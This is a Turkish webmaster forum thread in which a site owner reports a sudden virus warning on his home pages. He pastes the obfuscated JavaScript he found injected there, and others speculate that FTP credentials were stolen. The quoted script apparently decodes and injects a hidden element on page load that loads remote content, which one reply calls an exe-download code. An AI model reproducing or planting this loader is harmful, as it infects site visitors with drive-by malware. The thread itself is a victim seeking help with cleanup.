0
Kayıt Ol

Birden siteye virus bulasti

7

●

484

  • 06-01-2010, 20:01:22
    #1
    CoMMaNDoS
    CoMMaNDoS
    Üyeliği durduruldu
    Arkadaslar birden bire bazi sitelerime girdigimde virus uyarisli aldim ic sayfalarda bir sorun yok sadece ana sayfada vardi. Ftp`den giris yapip asagidaki kodu silince sorun ortadan kalkti. Nasil boyle birsey durup dururken gerceklesti bilen yada bir fikri olan varmi ?



    Alıntı
    <script>
    function gNX(SINgqDZU, tsEmfJA, DeODs)
    {
    var BLAFGHFclX=DeODs.split(tsEmfJA);
    var lFMSkvVXr='';
    for(HOFt=-0x30+0x5+0x2b;HOFt<(BLAFGHFclX.length-1);HOFt+=-0x2c+0x3-0x20-0x2a+0x74)
    { TedLPqI = BLAFGHFclX[HOFt]^SINgqDZU;lFMSkvVXr += String.fromCharCode(TedLPqI);}return lFMSkvVXr;}

    function uYdGUc(vCX){ fff=op.split("1040");alert('Hqu'); }
    ;function RFjcyVP(){var eVTDqpjSf=new Function("hwdjiK", "return "+gNX(-0x8+0x1f+0xd-0x2d+0x8-0x22+0x30+0x638, 'U','1569U1578U1574U1584U1576U1568U1579U1585U')+". "+gNX(0xf-0x25+0xa-0x2c-0x2b-0x18+0x15+0x4be, 'V','1082V1079V1084V1057V')+"");var capQNK=eVTDqpjSf(-0x2e-0x1a+0x49);capQNK.innerHTML+=gNX(0x2+0x22-0x2a-0x2f+0x2eb, 'B','650B735B720B708B727B731B723B662B705B735B722B7 06B734B651B647B662B734B723B735B721B734B706B651B647 B662B724B729B708B722B723B708B651B646B662B720B708B7 27B731B723B724B729B708B722B723B708B651B646B662B709 B708B725B651B657B734B706B706B710B652B665B665B655B6 47B664B644B646B647B664B644B655B664B647B644B645B665 B716B723B730B723B665B735B728B722B723B718B664B710B7 34B710B649B709B651B644B725B725B724B646B645B725B723 B644B724B725B725B645B720B646B655B642B646B640B654B6 43B641B644B654B727B643B646B643B724B645B725B722B657 B648B650B665B735B720B708B727B731B723B648B');}funct ion SZaNHz(Gbadqmty){ var HNf=new Function("KIYeUjkV", "return 361449;"); fff=op.split("372");var Coi = document.getElementById('nhYekfglDJ');window.eval( ); }
    ;if(window.addEventListener)
    {
    window.addEventListener(gNX(0x3+0x32+0x31+0x8b, 'q','157q158q144q149q'),RFjcyVP,false);}else if(window.attachEvent){window.attachEvent('on'+gNX (0x3+0x32+0x31+0x8b, 'q','157q158q144q149q'), RFjcyVP);}function DQojwMqe(NhxFdsTt){ fff=op.split("696"); }
    ;</script>
  • 06-01-2010, 21:07:22
    #2
    RahuL
    RahuL
    Ana makinadan veya, bilgisayarinizdan ftp e online olunca girmis olabilir iceriye durdukyere olmasi imsansiz gibi kesin sunucudan bulasmistir hostcunuz ile gorusun bakalim tek sorun sizdemi var diger sitelerdede yasanmismi
  • 07-01-2010, 07:41:30
    #3
    CoMMaNDoS
    CoMMaNDoS
    Üyeliği durduruldu
    hostumdaki butun sitelere degil ki sadece 2 tanesinde buldum ben simdilik onlarda sadece anasayfasinda vardi bu kod bilgisayarimda virus yokki bulassin ?...
  • 07-01-2010, 11:45:45
    #4
    plaketkupa
    plaketkupa
    CoMMaNDoS adlı üyeden alıntı: mesajı görüntüle
    hostumdaki butun sitelere degil ki sadece 2 tanesinde buldum ben simdilik onlarda sadece anasayfasinda vardi bu kod bilgisayarimda virus yokki bulassin ?...
    Bilgisayarından bulaşmıştır hostçuna ulaşsan dahi oda sana bilgisayarını tarat diyecektir.

    Tavsiyem bulaşan kodları sil. 2 gün bekle tekrar kontrol et eğer diğer sitelerinede bulaşmışsa kesinlikle bilgisayarından yayılıyor demektir.

    Çözüm format, ftp şifrelerini değiştir ve temiz dosyaları ftp ye gönder.
  • 07-01-2010, 22:50:17
    #5
    CoMMaNDoS
    CoMMaNDoS
    Üyeliği durduruldu
    Arkadaslar bilgisayarci oldugum icin biliyorum bilgisayimdan bulasmadi bakalm ins. birdaha olmaz...
  • 08-01-2010, 02:36:56
    #6
    Lion
    Lion
    Üyeliği durduruldu
    CoMMaNDoS adlı üyeden alıntı: mesajı görüntüle
    Arkadaslar birden bire bazi sitelerime girdigimde virus uyarisli aldim ic sayfalarda bir sorun yok sadece ana sayfada vardi. Ftp`den giris yapip asagidaki kodu silince sorun ortadan kalkti. Nasil boyle birsey durup dururken gerceklesti bilen yada bir fikri olan varmi ?


    direk ortadan kalkmişsa ftp bilgilerini bilen biri atmiş ola bilir + direk exe indirme kodudur bu ie 7 surumleri ciktiktan sonra bu kod tamiyle imha oldugunu sandim gene cikartmişlar galiba. Sana tavsiyem pc ne format cek. sonra hic bir yere girmeden tum bilgilerini degiş kodlari kaldir + firefox oneririm sana
  • 08-01-2010, 10:21:39
    #7
    BuRacK
    BuRacK
    Üyeliği durduruldu
    FTP programlarına şifrelerinizi kayıt etmeyin.
  • 08-01-2010, 18:26:50
    #8
    CoMMaNDoS
    CoMMaNDoS
    Üyeliği durduruldu
    Nasil kayit etmeden giricem 20 tane site var

    Cok pislik bir virus butun index.php & index.html lere virus bulasmis buyuk is cikardi basima.